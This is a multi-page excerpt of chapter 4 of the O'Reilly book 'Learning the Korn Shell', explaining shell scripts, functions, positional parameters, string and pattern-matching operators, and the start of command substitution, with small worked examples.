You can create a script using the text editor of your choice. Once you have created one, there are two ways to run it. One, which we have already covered, is to type . scriptname (i.e., the command is a dot). This causes the commands in the script to be read and run as if you typed them in.

The second way to run a script is simply to type its name and hit RETURN, just as if you were invoking a built-in command. This, of course, is the more convenient way. This method makes the script look just like any other UNIX command, and in fact several "regular" commands are implemented as shell scripts (i.e., not as programs originally written in C or some other language), including spell, man on some systems, and various commands for system administrators. The resulting lack of distinction between "user command files" and "built-in commands" is one factor in UNIX's extensibility and, hence, its favored status among programmers.

You can run a script by typing its name only if . (the current directory) is part of your command search path, i.e., is included in your PATH variable (as discussed in Chapter 3, Customizing Your Environment). If . isn't on your path, you must type ./scriptname, which is really the same thing as typing the script's absolute pathname (see Chapter 1, Korn Shell Basics).

Before you can invoke the shell script by name, you must also give it "execute" permission. If you are familiar with the UNIX filesystem, you know that files have three types of permissions (read, write, and execute) and that those permissions apply to three categories of user (the file's owner, a group of users, and everyone else). Normally, when you create a file with a text editor, the file is set up with read and write permission for you and read-only permission for everyone else.

Therefore you must give your script execute permission explicitly, by using the chmod(1) command. The simplest way to do this is to type:

$ chmod +x scriptname

Your text editor will preserve this permission if you make subsequent changes to your script. If you don't add execute permission to the script and you try to invoke it, the shell will print the message:

scriptname: cannot execute.

But there is a more important difference between the two ways of running shell scripts. While the "dot" method causes the commands in the script to be run as if they were part of your login session, the "just the name" method causes the shell to do a series of things. First, it runs another copy of the shell as a subprocess; this is called a subshell. The subshell then takes commands from the script, runs them, and terminates, handing control back to the parent shell.

Figure 4.1 shows how the shell executes scripts. Assume you have a simple shell script called fred that contains the commands bob and dave. In Figure 4.1.a, typing .fred causes the two commands to run in the same shell, just as if you had typed them in by hand. Figure 4.1.b shows what happens when you type just fred: the commands run in the subshell while the parent shell waits for the subshell to finish.

You may find it interesting to compare this with the situation in Figure 4-1.c, which shows what happens when you type fred &. As you will recall from Chapter 1 the & makes the command run in the background, which is really just another term for "subprocess." It turns out that the only significant difference between Figure 4.1.c and Figure 4-1.b is that you have control of your terminal or workstation while the command runsmdash;you need not wait until it finishes before you can enter further commands.

Figure 4.1: Ways to run a shell script

There are many ramifications to using subshells. An important one is that the exported environment variables that we saw in the last chapter (e.g., TERM, LOGNAME, PWD) are known in subshells, whereas other shell variables (such as any that you define in your .profile without an export statement) are not.

Other issues involving subshells are too complex to go into now; see Chapter 7, and Chapter 8, Process Handling, for more details about subshell I/O and process characteristics, respectively. For now, just bear in mind that a script normally runs in a subshell.

4.1.1 Functions

The Korn shell's function feature is an expanded version of a similar facility in the System V Bourne shell and a few other shells. A function is sort of a script-within-a-script; you use it to define some shell code by name and store it in the shell's memory, to be invoked and run later.

Functions improve the shell's programmability significantly, for two main reasons. First, when you invoke a function, it is already in the shell's memory (except for autoloaded functions; see section titled "Autoloaded Functions"); therefore a function runs faster. Modern computers have plenty of memory, so there is no need to worry about the amount of space a typical function takes up. For this reason, most people define as many functions as possible rather than keep lots of scripts around.

The other advantage of functions is that they are ideal for organizing long shell scripts into modular "chunks" of code that are easier to develop and maintain. If you aren't a programmer, ask one what life would be like without functions (also called procedures or subroutines in other languages) and you'll probably get an earful.

To define a function, you can use either one of two forms:

function functname {
    shell commands
}

or:

functname () {
    shell commands
}

There is no difference between the two. Perhaps the first form was created to appeal to Pascal, Modula, and Ada programmers, while the second resembles C; in any case, we will use the first form in this book. You can also delete a function definition with the command unset -f functname.

When you define a function, you tell the shell to store its name and definition (i.e., the shell commands it contains) in memory. If you want to run the function later, just type in its name followed by any arguments, as if it were a shell script.

You can find out what functions are defined in your login session by typing functions. [1] The shell will print not just the names but the definitions of all functions, in alphabetical order by function name. Since this may result in long output, you might want to pipe the output through more or redirect it to a file for examination with a text editor.

[1] This is actually an alias for typeset -f; see Chapter 6, Command-line Options and Typed Variables.

Apart from the advantages, there are two important differences betweeen functions and scripts. First, functions do not run in separate processes, as scripts are when you invoke them by name; the "semantics" of running a function are more like those of your .profile when you log in or any script when invoked with the "dot" command. Second, if a function has the same name as a script or executable program, the function takes precedence.

This is a good time to show the order of precedence for the various sources of commands. When you type a command to the shell, it looks in the following places until it finds a match:

  1. Keywords such as function and several others, like if and for, that we will see in Chapter 5, Flow Control

  2. Aliases [2]

    [2] However, it is possible to define an alias for a keyword, e.g., alias aslongas=while. See Chapter 7 for more details.

  3. Built-ins like cd and whence

  4. Functions

  5. Scripts and executable programs, for which the shell searches in the directories listed in the PATH environment variable

We'll examine this process in more detail in the section on command-line processing in Chapter 7.

If you need to know the exact source of a command, there is an option to the whence built-in command that we saw in Chapter 3. whence by itself will print the pathname of a command if the command is a script or executable program, but it will only parrot the command's name back if it is anything else. But if you type whence -v commandname, you get more complete information, such as:

$ whence -v cd
cd is a shell builtin
$ whence -v function
function is a keyword
$ whence -v man
man is /usr/bin/man
$ whence -v ll
ll is an alias for ls -l

We will refer mainly to scripts throughout the remainder of this book, but unless we note otherwise, you should assume that whatever we say applies equally to functions.

4.1.1.1 Autoloaded functions

The simplest place to put your function definitions is in your .profile or environment file. This is fine for a small number of functions, but if you accumulate lots of them-as many shell programmers eventually do-you may find that logging in or invoking shell scripts (both of which involve processing your environment file) takes an unacceptably long time, and that it's hard to navigate so many function definitions in a single file.

The Korn shell's autoload feature addresses these problems. If you put the command autoload fname [3] in your .profile or environment file, instead of the function's definition, then the shell won't read in the definition of fname until it's actually called. autoload can take more than one argument.

[3] autoload is actually an alias for typeset -fu; see Chapter 6.

How does the shell know where to get the definition of an autoloaded function? It uses the built-in variable FPATH, which is a list of directories like PATH. The shell looks for a file called fname that contains the definition of function fname in each of the directories in FPATH.

For example, assume this code is in your environment file:

FPATH=~/funcs
autoload dave

When you invoke the command dave, the shell will look in the directory ~/funcs for a file called dave that has the definition of function dave. If it doesn't find the file, or if the file exists but doesn't contain the proper function definition, the shell will complain with a "not found" message, just as if the command didn't exist at all.

Function autoloading and FPATH are also useful tools for system administrators who need to set up system-wide Korn shell environments. See Chapter 10, Korn Shell Administration.

Previous: 3.6 Customization Hints | Learning the Korn Shell | Next: 4.2 Shell Variables
3.6 Customization Hints | Book Index | 4.2 Shell Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.2 Shell Variables

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 4.1 Shell Scripts and Functions Chapter 4
Basic Shell Programming 		Next: 4.3 String Operators

4.2 Shell Variables

A major piece of the Korn shell's programming functionality relates to shell variables. We've already seen the basics of variables. To recap briefly: they are named places to store data, usually in the form of character strings, and their values can be obtained by preceding their names with dollar signs ($). Certain variables, called environment variables, are conventionally named in all capital letters, and their values are made known (with the export statement) to subprocesses.

If you are a programmer, you already know that just about every major programming language uses variables in some way; in fact, an important way of characterizing differences between languages is comparing their facilities for variables.

The chief difference between the Korn shell's variable schema and those of conventional languages is that the Korn shell's places heavy emphasis on character strings. (Thus it has more in common with a special-purpose language like SNOBOL than a general-purpose one like Pascal.) This is also true of the Bourne shell and the C shell, but the Korn shell goes beyond them by having additional mechanisms for handling integers (explicitly) and simple arrays.

4.2.1 Positional Parameters

As we have already seen, you can define values for variables with statements of the form varname=value, e.g.:

$ fred=bob
$ print "$fred"
bob

Some environment variables are predefined by the shell when you log in. There are other built-in variables that are vital to shell programming. We will look at a few of them now and save the others for later.

The most important special, built-in variables are called positional parameters. These hold the command-line arguments to scripts when they are invoked. Positional parameters have names 1, 2, 3, etc., meaning that their values are denoted by $1, $2, $3, etc. There is also a positional parameter 0, whose value is the name of the script (i.e., the command typed in to invoke it).

Two special variables contain all of the positional parameters (except positional parameter 0): * and @. The difference between them is subtle but important, and it's apparent only when they are within double quotes.

"$*" is a single string that consists of all of the positional parameters, separated by the first character in the environment variable IFS (internal field separator), which is a space, TAB, and NEWLINE by default. On the other hand, "$@" is equal to "$1" "$2"... "$N", where N is the number of positional parameters. That is, it's equal to N separate double-quoted strings, which are separated by spaces. We'll explore the ramifications of this difference in a little while.

The variable # holds the number of positional parameters (as a character string). All of these variables are "read-only," meaning that you can't assign new values to them within scripts.

For example, assume that you have the following simple shell script:

print "fred: $@"
print "$0: $1 and $2"
print "$# arguments"

Assume further that the script is called fred. Then if you type fred bob dave, you will see the following output:

fred: bob dave
fred: bob and dave
2 arguments

In this case, $3, $4, etc., are all unset, which means that the shell will substitute the empty (or null) string for them. [4]

[4] Unless the option nounset is turned on.

4.2.1.1 Positional parameters in functions

Shell functions use positional parameters and special variables like * and # in exactly the same way as shell scripts do. If you wanted to define fred as a function, you could put the following in your .profile or environment file:

function fred {
    print "fred: $*"
    print "$0: $1 and $2"
    print "$# arguments"
}

You will get the same result if you type fred bob dave.

Typically, several shell functions are defined within a single shell script. Therefore each function will need to handle its own arguments, which in turn means that each function needs to keep track of positional parameters separately. Sure enough, each function has its own copies of these variables (even though functions don't run in their own subshells, as scripts do); we say that such variables are local to the function.

However, other variables defined within functions are not local [5] (they are global), meaning that their values are known throughout the entire shell script. For example, assume that you have a shell script called ascript that contains this:

[5] However, see the section on typeset in Chapter 6 for a way of making variables local to functions.

function afunc {
    print in function $0: $1 $2
    var1="in function"
}
var1="outside of function"
print var1: $var1
print $0: $1 $2
afunc funcarg1 funcarg2
print var1: $var1
print $0: $1 $2

If you invoke this script by typing ascript arg1 arg2, you will see this output:

var1: outside of function
ascript: arg1 arg2
in function afunc: funcarg1 funcarg2
var1: in function
ascript: arg1 arg2

In other words, the function afunc changes the value of the variable var1 from "outside of function" to "in function," and that change is known outside the function, while $0, $1, and $2 have different values in the function and the main script. Figure 4.2 shows this graphically.

Figure 4.2: Functions have their own positional parameters

It is possible to make other variables local to functions by using the typeset command, which we'll see in Chapter 6. Now that we have this background, let's take a closer look at "$@" and "$*". These variables are two of the shell's greatest idiosyncracies, so we'll discuss some of the most common sources of confusion.

  • Why are the elements of "$*" separated by the first character of IFS instead of just spaces? To give you output flexibility. As a simple example, let's say you want to print a list of positional parameters separated by commas. This script would do it:

    IFS=,
print $*

    Changing IFS in a script is fairly risky, but it's probably OK as long as nothing else in the script depends on it. If this script were called arglist, then the command arglist bob dave ed would produce the output bob,dave,ed. Chapter 10 contains another example of changing IFS.

  • Why does "$@" act like N separate double-quoted strings? To allow you to use them again as separate values. For example, say you want to call a function within your script with the same list of positional parameters, like this:

    function countargs {
    print "$# args."
}

    Assume your script is called with the same arguments as arglist above. Then if it contains the command countargs "$*", the function will print 1 args. But if the command is countargs "$@", the function will print 3 args.

4.2.2 More on Variable Syntax

Before we show the many things you can do with shell variables, we have to make a confession: the syntax of $varname for taking the value of a variable is not quite accurate. Actually, it's the simple form of the more general syntax, which is ${varname}.

Why two syntaxes? For one thing, the more general syntax is necessary if your code refers to more than nine positional parameters: you must use ${10} for the tenth instead of $10. Aside from that, consider the example, from Chapter 3, of setting your primary prompt variable (PS1) to your login name:

PS1="($LOGNAME)-> "

This happens to work because the right parenthesis immediately following LOGNAME is "special" (in the sense of the special characters introduced in Chapter 1) so that the shell doesn't mistake it for part of the variable name. Now suppose that, for some reason, you want your prompt to be your login name followed by an underscore. If you type:

PS1="$LOGNAME_ "

then the shell will try to use "LOGNAME_" as the name of the variable, i.e., to take the value of $LOGNAME_. Since there is no such variable, the value defaults to null (the empty string, ""), and PS1 is set to just a single space.

For this reason, the full syntax for taking the value of a variable is ${varname}. So if we used

PS1="${LOGNAME}_ "

we would get the desired $yourname_. It is safe to omit the curly brackets ({}) if the variable name is followed by a character that isn't a letter, digit, or underscore.

Previous: 4.1 Shell Scripts and Functions | Learning the Korn Shell | Next: 4.3 String Operators
4.1 Shell Scripts and Functions | Book Index | 4.3 String Operators
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.3 String Operators

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 4.2 Shell Variables Chapter 4
Basic Shell Programming 		Next: 4.4 Command Substitution

4.3 String Operators

The curly-bracket syntax allows for the shell's string operators. String operators allow you to manipulate values of variables in various useful ways without having to write full-blown programs or resort to external UNIX utilities. You can do a lot with string-handling operators even if you haven't yet mastered the programming features we'll see in later chapters.

In particular, string operators let you do the following:

  • Ensure that variables exist (i.e., are defined and have non-null values)

  • Set default values for variables

  • Catch errors that result from variables not being set

  • Remove portions of variables' values that match patterns

4.3.1 Syntax of String Operators

The basic idea behind the syntax of string operators is that special characters that denote operations are inserted between the variable's name and the right curly brackets. Any argument that the operator may need is inserted to the operator's right.

The first group of string-handling operators tests for the existence of variables and allows substitutions of default values under certain conditions. These are listed in Table 4.1. [6]

[6] The colon (:) in each of these operators is actually optional. If the colon is omitted, then change "exists and isn't null" to "exists" in each definition, i.e., the operator tests for existence only.

Table 4.1: Substitution Operators
Operator | Substitution
${varname:-word} | If varname exists and isn't null, return its value; otherwise return word.
Purpose: | Returning a default value if the variable is undefined.
Example: | ${count:-0} evaluates to 0 if count is undefined.
${varname:=word} | If varname exists and isn't null, return its value; otherwise set it to word and then return its value.[7]
Purpose: | Setting a variable to a default value if it is undefined.
Example: | ${count:=0} sets count to 0 if it is undefined.
${varname:?message} | If varname exists and isn't null, return its value; otherwise print varname: followed by message, and abort the current command or script. Omitting message produces the default message parameter null or not set.
Purpose: | Catching errors that result from variables being undefined.
Example: | {count:?" undefined!" } prints "count: undefined!" and exits if count is undefined.
${varname:+word} | If varname exists and isn't null, return word; otherwise return null.
Purpose: | Testing for the existence of a variable.
Example: | ${count:+1} returns 1 (which could mean "true") if count is defined.

[7] Pascal, Modula, and Ada programmers may find it helpful to recognize the similarity of this to the assignment operators in those languages.

The first two of these operators are ideal for setting defaults for command-line arguments in case the user omits them. We'll use the first one in our first programming task.

Task 4.1

You have a large album collection, and you want to write some software to keep track of it. Assume that you have a file of data on how many albums you have by each artist. Lines in the file look like this:

14	Bach, J.S.
1	Balachander, S.
21	Beatles
6	Blakey, Art

Write a program that prints the N highest lines, i.e., the N artists by whom you have the most albums. The default for N should be 10. The program should take one argument for the name of the input file and an optional second argument for how many lines to print.

By far the best approach to this type of script is to use built-in UNIX utilities, combining them with I/O redirectors and pipes. This is the classic "building-block" philosophy of UNIX that is another reason for its great popularity with programmers. The building-block technique lets us write a first version of the script that is only one line long:

sort -nr $1 | head -${2:-10}

Here is how this works: the sort(1) program sorts the data in the file whose name is given as the first argument ($1). The -n option tells sort to interpret the first word on each line as a number (instead of as a character string); the -r tells it to reverse the comparisons, so as to sort in descending order.

The output of sort is piped into the head(1) utility, which, when given the argument -N, prints the first N lines of its input on the standard output. The expression -${2:-10} evaluates to a dash (-) followed by the second argument if it is given, or to -10 if it's not; notice that the variable in this expression is 2, which is the second positional parameter.

Assume the script we want to write is called highest. Then if the user types highest myfile, the line that actually runs is:

sort -nr myfile | head -10

Or if the user types highest myfile 22, the line that runs is:

sort -nr myfile | head -22

Make sure you understand how the :- string operator provides a default value.

This is a perfectly good, runnable script-but it has a few problems. First, its one line is a bit cryptic. While this isn't much of a problem for such a tiny script, it's not wise to write long, elaborate scripts in this manner. A few minor changes will make the code more readable.

First, we can add comments to the code; anything between # and the end of a line is a comment. At a minimum, the script should start with a few comment lines that indicate what the script does and what arguments it accepts. Second, we can improve the variable names by assigning the values of the positional parameters to regular variables with mnemonic names. Finally, we can add blank lines to space things out; blank lines, like comments, are ignored. Here is a more readable version:

#
#	highest filename [howmany]
#
#	Print howmany highest-numbered lines in file filename.
#	The input file is assumed to have lines that start with
#	numbers.  Default for howmany is 10.
#

filename=$1

howmany=${2:-10}
sort -nr $filename | head -$howmany

The square brackets around howmany in the comments adhere to the convention in UNIX documentation that square brackets denote optional arguments.

The changes we just made improve the code's readability but not how it runs. What if the user were to invoke the script without any arguments? Remember that positional parameters default to null if they aren't defined. If there are no arguments, then $1 and $2 are both null. The variable howmany ($2) is set up to default to 10, but there is no default for filename ($1). The result would be that this command runs:

sort -nr | head -10

As it happens, if sort is called without a filename argument, it expects input to come from standard input, e.g., a pipe (|) or a user's terminal. Since it doesn't have the pipe, it will expect the terminal. This means that the script will appear to hang! Although you could always type [CTRL-D] or [CTRL-C] to get out of the script, a naive user might not know this.

Therefore we need to make sure that the user supplies at least one argument. There are a few ways of doing this; one of them involves another string operator. We'll replace the line:

filename=$1

with:

filename=${1:?"filename missing."}

This will cause two things to happen if a user invokes the script without any arguments: first the shell will print the somewhat unfortunate message:

highest: 1: filename missing.

to the standard error output. Second, the script will exit without running the remaining code.

With a somewhat "kludgy" modification, we can get a slightly better error message. Consider this code:

filename=$1
filename=${filename:?"missing."}

This results in the message:

highest: filename: missing.

(Make sure you understand why.) Of course, there are ways of printing whatever message is desired; we'll find out how in Chapter 5.

Before we move on, we'll look more closely at the two remaining operators in Table 4.1 and see how we can incorporate them into our task solution. The := operator does roughly the same thing as :-, except that it has the "side effect" of setting the value of the variable to the given word if the variable doesn't exist.

Therefore we would like to use := in our script in place of :-, but we can't; we'd be trying to set the value of a positional parameter, which is not allowed. But if we replaced:

howmany=${2:-10}

with just:

howmany=$2

and moved the substitution down to the actual command line (as we did at the start), then we could use the := operator:

sort -nr $filename | head -${howmany:=10}

Using := has the added benefit of setting the value of howmany to 10 in case we need it afterwards in later versions of the script.

The final substitution operator is :+. Here is how we can use it in our example: Let's say we want to give the user the option of adding a header line to the script's output. If he or she types the option -h, then the output will be preceded by the line:

ALBUMS  ARTIST

Assume further that this option ends up in the variable header, i.e., $header is -h if the option is set or null if not. (Later we will see how to do this without disturbing the other positional parameters.)

The expression:

${header:+"ALBUMS  ARTIST\n"}

yields null if the variable header is null, or ALBUMS牋ARTIST\n if it is non-null. This means that we can put the line:

print -n ${header:+"ALBUMS  ARTIST\n"}

right before the command line that does the actual work. The -n option to print causes it not to print a LINEFEED after printing its arguments. Therefore this print statement will print nothing-not even a blank line-if header is null; otherwise it will print the header line and a LINEFEED (\n).

4.3.2 Patterns and Regular Expressions

We'll continue refining our solution to Task 4-1 later in this chapter. The next type of string operator is used to match portions of a variable's string value against patterns. Patterns, as we saw in Chapter 1 are strings that can contain wildcard characters (*, ?, and [] for character sets and ranges).

Wildcards have been standard features of all UNIX shells going back (at least) to the Version 6 Bourne shell. But the Korn shell is the first shell to add to their capabilities. It adds a set of operators, called regular expression (or regexp for short) operators, that give it much of the string-matching power of advanced UNIX utilities like awk(1), egrep(1) (extended grep(1)) and the emacs editor, albeit with a different syntax. These capabilities go beyond those that you may be used to in other UNIX utilities like grep, sed(1) and vi(1).

Advanced UNIX users will find the Korn shell's regular expression capabilities occasionally useful for script writing, although they border on overkill. (Part of the problem is the inevitable syntactic clash with the shell's myriad other special characters.) Therefore we won't go into great detail about regular expressions here. For more comprehensive information, the "last word" on practical regular expressions in UNIX is sed & awk, an O'Reilly Nutshell Handbook by Dale Dougherty. If you are already comfortable with awk or egrep, you may want to skip the following introductory section and go to "Korn Shell Versus awk/egrep Regular Expressions" below, where we explain the shell's regular expression mechanism by comparing it with the syntax used in those two utilities. Otherwise, read on.

4.3.2.1 Regular expression basics

Think of regular expressions as strings that match patterns more powerfully than the standard shell wildcard schema. Regular expressions began as an idea in theoretical computer science, but they have found their way into many nooks and crannies of everyday, practical computing. The syntax used to represent them may vary, but the concepts are very much the same.

A shell regular expression can contain regular characters, standard wildcard characters, and additional operators that are more powerful than wildcards. Each such operator has the form x(exp), where x is the particular operator and exp is any regular expression (often simply a regular string). The operator determines how many occurrences of exp a string that matches the pattern can contain. See Table 4.2 and Table 4.3.

Table 4.2: Regular Expression Operators
Operator | Meaning
*(exp) | 0 or more occurrences of exp
+(exp) | 1 or more occurrences of exp
?(exp) | 0 or 1 occurrences of exp
@(exp1|exp2|...) | exp1 or exp2 or...
!(exp) | Anything that doesn't match exp [8]

[8] Actually, !(exp) is not a regular expression operator by the standard technical definition, though it is a handy extension.

Table 4.3: Regular Expression Operator Examples
Expression | Matches
x | x
*(x) | Null string, x, xx, xxx, ...
+(x) | x, xx, xxx, ...
?(x) | Null string, x
!(x) | Any string except x
@(x) | x (see below)

Regular expressions are extremely useful when dealing with arbitrary text, as you already know if you have used grep or the regular-expression capabilities of any UNIX editor. They aren't nearly as useful for matching filenames and other simple types of information with which shell users typically work. Furthermore, most things you can do with the shell's regular expression operators can also be done (though possibly with more keystrokes and less efficiency) by piping the output of a shell command through grep or egrep.

Nevertheless, here are a few examples of how shell regular expressions can solve filename-listing problems. Some of these will come in handy in later chapters as pieces of solutions to larger tasks.

  1. The emacs editor supports customization files whose names end in .el (for Emacs LISP) or .elc (for Emacs LISP Compiled). List all emacs customization files in the current directory.

  2. In a directory of C source code, list all files that are not necessary. Assume that "necessary" files end in .c or .h, or are named Makefile or README.

  3. Filenames in the VAX/VMS operating system end in a semicolon followed by a version number, e.g., fred.bob;23. List all VAX/VMS-style filenames in the current directory.

Here are the solutions:

  1. In the first of these, we are looking for files that end in .el with an optional c. The expression that matches this is *.el?(c).

  2. The second example depends on the four standard subexpressions *.c, *.h, Makefile, and README. The entire expression is !(*.c|*.h|Makefile|README), which matches anything that does not match any of the four possibilities.

  3. The solution to the third example starts with * \;: the shell wildcard * followed by a backslash-escaped semicolon. Then, we could use the regular expression +([0-9]), which matches one or more characters in the range [0-9], i.e., one or more digits. This is almost correct (and probably close enough), but it doesn't take into account that the first digit cannot be 0. Therefore the correct expression is *\;[1-9]*([0-9]), which matches anything that ends with a semicolon, a digit from 1 to 9, and zero or more digits from 0 to 9.

Regular expression operators are an interesting addition to the Korn shell's features, but you can get along well without them-even if you intend to do a substantial amount of shell programming.

In our opinion, the shell's authors missed an opportunity to build into the wildcard mechanism the ability to match files by type (regular, directory, executable, etc., as in some of the conditional tests we will see in Chapter 5) as well as by name component. We feel that shell programmers would have found this more useful than arcane regular expression operators.

The following section compares Korn shell regular expressions to analogous features in awk and egrep. If you aren't familiar with these, skip to the section entitled "Pattern-matching Operators."

4.3.2.2 Korn shell versus awk/egrep regular expressions

Table 4.4 is an expansion of Table 4.2: the middle column shows the equivalents in awk/egrep of the shell's regular expression operators.

Table 4.4: Shell Versus egrep/awk Regular Expression Operators
Korn Shell | egrep/awk | Meaning
*(exp) | exp* | 0 or more occurrences of exp
+(exp) | exp+ | 1 or more occurrences of exp
?(exp) | exp? | 0 or 1 occurrences of exp
@(exp1|exp2|...) | exp1|exp2|... | exp1 or exp2 or...
!(exp) | (none) | Anything that doesn't match exp

These equivalents are close but not quite exact. Actually, an exp within any of the Korn shell operators can be a series of exp1|exp2|... alternates. But because the shell would interpret an expression like dave|fred|bob as a pipeline of commands, you must use @(dave|fred|bob) for alternates by themselves.

For example:

  • @(dave|fred|bob) matches dave, fred, or bob.

  • *(dave|fred|bob) means, "0 or more occurrences of dave, fred, or bob". This expression matches strings like the null string, dave, davedave, fred, bobfred, bobbobdavefredbobfred, etc.

  • +(dave|fred|bob) matches any of the above except the null string.

  • ?(dave|fred|bob) matches the null string, dave, fred, or bob.

  • !(dave|fred|bob) matches anything except dave, fred, or bob.

It is worth re-emphasizing that shell regular expressions can still contain standard shell wildcards. Thus, the shell wildcard ? (match any single character) is the equivalent to . in egrep or awk, and the shell's character set operator [...] is the same as in those utilities. [9] For example, the expression +([0-9]) matches a number, i.e., one or more digits. The shell wildcard character * is equivalent to the shell regular expression * (?).

[9] And, for that matter, the same as in grep, sed, ed, vi, etc.

A few egrep and awk regexp operators do not have equivalents in the Korn shell. These include:

  • The beginning- and end-of-line operators ^ and $.

  • The beginning- and end-of-word operators \< and \>.

  • Repeat factors like \{N \} and \{M , N \}.

The first two pairs are hardly necessary, since the Korn shell doesn't normally operate on text files and does parse strings into words itself.

4.3.3 Pattern-matching Operators

Table 4.5 lists the Korn shell's pattern-matching operators.

Table 4.5: Pattern-matching Operators
Operator | Meaning
${variable#pattern} | If the pattern matches the beginning of the variable's value, delete the shortest part that matches and return the rest.
${variable##pattern} | If the pattern matches the beginning of the variable's value, delete the longest part that matches and return the rest.
${variable%pattern} | If the pattern matches the end of the variable's value, delete the shortest part that matches and return the rest.
${variable%%pattern} | If the pattern matches the end of the variable's value, delete the longest part that matches and return the rest.

These can be hard to remember, so here's a handy mnemonic device: # matches the front because number signs precede numbers; % matches the rear because percent signs follow numbers.

The classic use for pattern-matching operators is in stripping off components of pathnames, such as directory prefixes and filename suffixes. With that in mind, here is an example that shows how all of the operators work. Assume that the variable path has the value /home /billr/mem/long.file.name; then:

Expression         	  Result
${path##/*/}                       long.file.name
${path#/*/}              billr/mem/long.file.name
$path              /home/billr/mem/long.file.name
${path%.*}         /home/billr/mem/long.file
${path%%.*}        /home/billr/mem/long

The two patterns used here are /*/, which matches anything between two slashes, and .*, which matches a dot followed by anything.

We will incorporate one of these operators into our next programming task.

Task 4.2

You are writing a C compiler, and you want to use the Korn shell for your front-end.[10]

[10] Don't laugh-many UNIX compilers have shell scripts as front-ends.

Think of a C compiler as a pipeline of data processing components. C source code is input to the beginning of the pipeline, and object code comes out of the end; there are several steps in between. The shell script's task, among many other things, is to control the flow of data through the components and to designate output files.

You need to write the part of the script that takes the name of the input C source file and creates from it the name of the output object code file. That is, you must take a filename ending in .c and create a filename that is similar except that it ends in .o.

The task at hand is to strip the .c off the filename and append .o. A single shell statement will do it:

objname=${filename%.c}.o

This tells the shell to look at the end of filename for .c. If there is a match, return $filename with the match deleted. So if filename had the value fred.c, the expression ${filename%.c} would return fred. The .o is appended to make the desired fred.o, which is stored in the variable objname.

If filename had an inappropriate value (without .c) such as fred.a, the above expression would evaluate to fred.a.o: since there was no match, nothing is deleted from the value of filename, and .o is appended anyway. And, if filename contained more than one dot-e.g., if it were the y.tab.c that is so infamous among compiler writers-the expression would still produce the desired y.tab.o. Notice that this would not be true if we used %% in the expression instead of %. The former operator uses the longest match instead of the shortest, so it would match .tab.o and evaluate to y.o rather than y.tab.o. So the single % is correct in this case.

A longest-match deletion would be preferable, however, in the following task.

Task 4.3

You are implementing a filter that prepares a text file for printer output. You want to put the file's name-without any directory prefix-on the "banner" page. Assume that, in your script, you have the pathname of the file to be printed stored in the variable pathname.

Clearly the objective is to remove the directory prefix from the pathname. The following line will do it:

bannername=${pathname##*/}

This solution is similar to the first line in the examples shown before. If pathname were just a filename, the pattern */ (anything followed by a slash) would not match and the value of the expression would be pathname untouched. If pathname were something like fred/bob, the prefix fred/ would match the pattern and be deleted, leaving just bob as the expression's value. The same thing would happen if pathname were something like /dave/pete/fred/bob: since the ## deletes the longest match, it deletes the entire /dave/pete/fred/.

If we used #*/ instead of ##*/, the expression would have the incorrect value dave/pete/fred/bob, because the shortest instance of "anything followed by a slash" at the beginning of the string is just a slash (/).

The construct ${variable##*/} is actually equivalent to the UNIX utility basename(1). basename takes a pathname as argument and returns the filename only; it is meant to be used with the shell's command substitution mechanism (see below). basename is less efficient than ${variable##/*} because it runs in its own separate process rather than within the shell. Another utility, dirname(1), does essentially the opposite of basename: it returns the directory prefix only. It is equivalent to the Korn shell expression ${variable%/*} and is less efficient for the same reason.

4.3.4 Length Operator

There are two remaining operators on variables. One is ${#varname}, which returns the length of the value of the variable as a character string. (In Chapter 6 we will see how to treat this and similar values as actual numbers so they can be used in arithmetic expressions.) For example, if filename has the value fred.c, then ${#filename} would have the value 6. The other operator (${#array[*]}) has to do with array variables, which are also discussed in Chapter 6.

Previous: 4.2 Shell Variables | Learning the Korn Shell | Next: 4.4 Command Substitution
4.2 Shell Variables | Book Index | 4.4 Command Substitution
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.4 Command Substitution

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 4.3 String Operators Chapter 4
Basic Shell Programming 		Next: 4.5 Advanced Examples: pushd and popd

4.4 Command Substitution

From the discussion so far, we've seen two ways of getting values into variables: by assignment statements and by the user supplying them as command-line arguments (positional parameters). There is another way: command substitution, which allows you to use the standard output of a command as if it were the value of a variable. You will soon see how powerful this feature is.

The syntax of command substitution is: [11]

[11] Bourne and C shell users should note that the command substitution syntax of those shells, `UNIX command` (with backward quotes, a.k.a. grave accents), is also supported by the Korn shell for backward compatibility reasons. However, Korn shell documentation considers this syntax archaic. It is harder to read and less conducive to nesting.

$(UNIX command)

The command inside the parenthesis is run, and anything the command writes to standard output is returned as the value of the expression. These constructs can be nested, i.e., the UNIX command can contain command substitutions.

Here are some simple examples:

  • The value of $(pwd) is the current directory (same as the environment variable $PWD).

  • The value of $(ls) is the names of all files in the current directory, separated by NEWLINEs.

  • To find out detailed information about a command if you don't know where its file resides, type ls -l $(whence -p command). The -p option forces whence to do a pathname lookup and not consider keywords, built-ins, etc.

  • To get the contents of a file into a variable, you can use varname=$(< filename). $(cat filename) will do the same thing, but the shell catches the former as a built-in shorthand and runs it more efficiently.

  • If you want to edit (with emacs) every chapter of your book on the Korn shell that has the phrase "command substitution," assuming that your chapter files all begin with ch, you could type:

    emacs $(grep -l 'command substitution' ch*)

    The -l option to grep prints only the names of files that contain matches.

Command substitution, like variable and tilde expansion, is done within double quotes. Therefore, our rule in Chapter 1 and Chapter 3, about using single quotes for strings unless they contain variables will now be extended: "When in doubt, use single quotes, unless the string contains variables or command substitutions, in which case use double quotes."

You will undoubtedly think of many ways to use command substitution as you gain experience with the Korn shell. One that is a bit more complex than those mentioned previously relates to a customization task that we saw in Chapter 3: personalizing your prompt string.

